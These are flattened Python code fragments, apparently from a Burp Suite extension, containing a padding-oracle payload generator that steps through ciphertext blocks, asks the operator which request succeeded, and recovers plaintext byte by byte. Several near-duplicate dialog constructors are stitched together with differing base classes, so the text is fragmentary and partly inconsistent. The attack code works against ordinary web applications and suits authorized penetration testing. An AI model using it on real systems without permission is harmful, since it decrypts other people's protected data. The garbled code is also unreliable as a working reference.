class SelectionDialog(_AbstractSwingDialog): def __init__(self, message, options): self._options = options _AbstractSwingDialog.__init__(self, message) def _init_dialog(self, message): self._pane = JOptionPane(message, PLAIN_MESSAGE, OK_CANCEL_OPTION) self._pane.setWantsInput(True) self._pane.setSelectionValues(self._options)
def __init__(self, message, options): pane = JOptionPane(message, PLAIN_MESSAGE, OK_CANCEL_OPTION) pane.setWantsInput(True) pane.setSelectionValues(options) _AbstractSwingDialog.__init__(self, pane)
def getNextPayload(self, baseValue): log.debug("Requesting payload %r", baseValue) decoded = PaddingOraclePayloads.decode(baseValue) if self.baseValue is None: # first payload request self.baseValue = baseValue self.position = self.BLOCK_SIZE - 1 self.total_blocks = len(decoded) / self.BLOCK_SIZE self.current_block = self.total_blocks - 1 self.decrypted = "" self.immediate_bytes = [0] * self.BLOCK_SIZE log.info("Starting new Payload queue: %s %d", baseValue, self.total_blocks) # init payload prefix = ["\0"] * self.BLOCK_SIZE # set current value prefix[self.position] = chr(self.current_value) # set padding for already decrypted bytes for i in range(self.position, self.BLOCK_SIZE-1): prefix[i] = chr((self.immediate_bytes[i] ^ (self.BLOCK_SIZE-self.position)) & 0xFF) payload = "".join(prefix) + decoded[self.current_block*self.BLOCK_SIZE:(self.current_block+1)*16] self.current_value += 1 if self.current_value > 255: # ask for correct padding values = [i for i in range(256*(self.BLOCK_SIZE-1-self.position)+1, 256*(self.BLOCK_SIZE - self.position))] pane = JOptionPane("Select succeeded request", JOptionPane.QUESTION_MESSAGE) pane.setSelectionValues(values) pane.setInitialValue(values[0]) dialog = pane.createDialog(None, "Padding Oracle") dialog.setModalityType(Dialog.ModalityType.DOCUMENT_MODAL) dialog.setVisible(True) # normalize value result = int(pane.getInputValue()) - ( 256*(self.BLOCK_SIZE - 1 - self.position) + 1) # calculate IV = value ^ padding iv = (result ^ (self.BLOCK_SIZE-self.position)) & 0xFF # store iv self.immediate_bytes[self.position] = iv log.info("Value: %d\nPadding: 0x%0x\nIV: 0x%0x", result, self.BLOCK_SIZE - self.position, iv) self.callbacks.getStdout().write("Value: %d\nPadding: 0x%0x\nIV: 0x%0x\n" % (result, self.BLOCK_SIZE-self.position, iv)) # get previous block if self.current_block > 0: last_block = decoded[(self.current_block-1)*self.BLOCK_SIZE: self.current_block*self.BLOCK_SIZE] else: last_block = PaddingOraclePayloads.IV # decrypt block byte = IV ^ previous block self.decrypted = chr((iv ^ last_block[self.position]) & 0xFF) log.info("Decrypted: %r", self.decrypted) self.callbacks.getStdout().write("Decrypted: %r\n" % self.decrypted) self.position -= 1 self.current_value = 0 if self.position < 0: self.current_block -= 1 self.position = self.BLOCK_SIZE - 1 # encode payload payload = array.array('b', PaddingOraclePayloads.encode(payload)) return payload
def __init__(self, message, options): pane = JOptionPane(message, PLAIN_MESSAGE, OK_CANCEL_OPTION) pane.setWantsInput(True) pane.setSelectionValues(options) _SwingDialog.__init__(self, pane)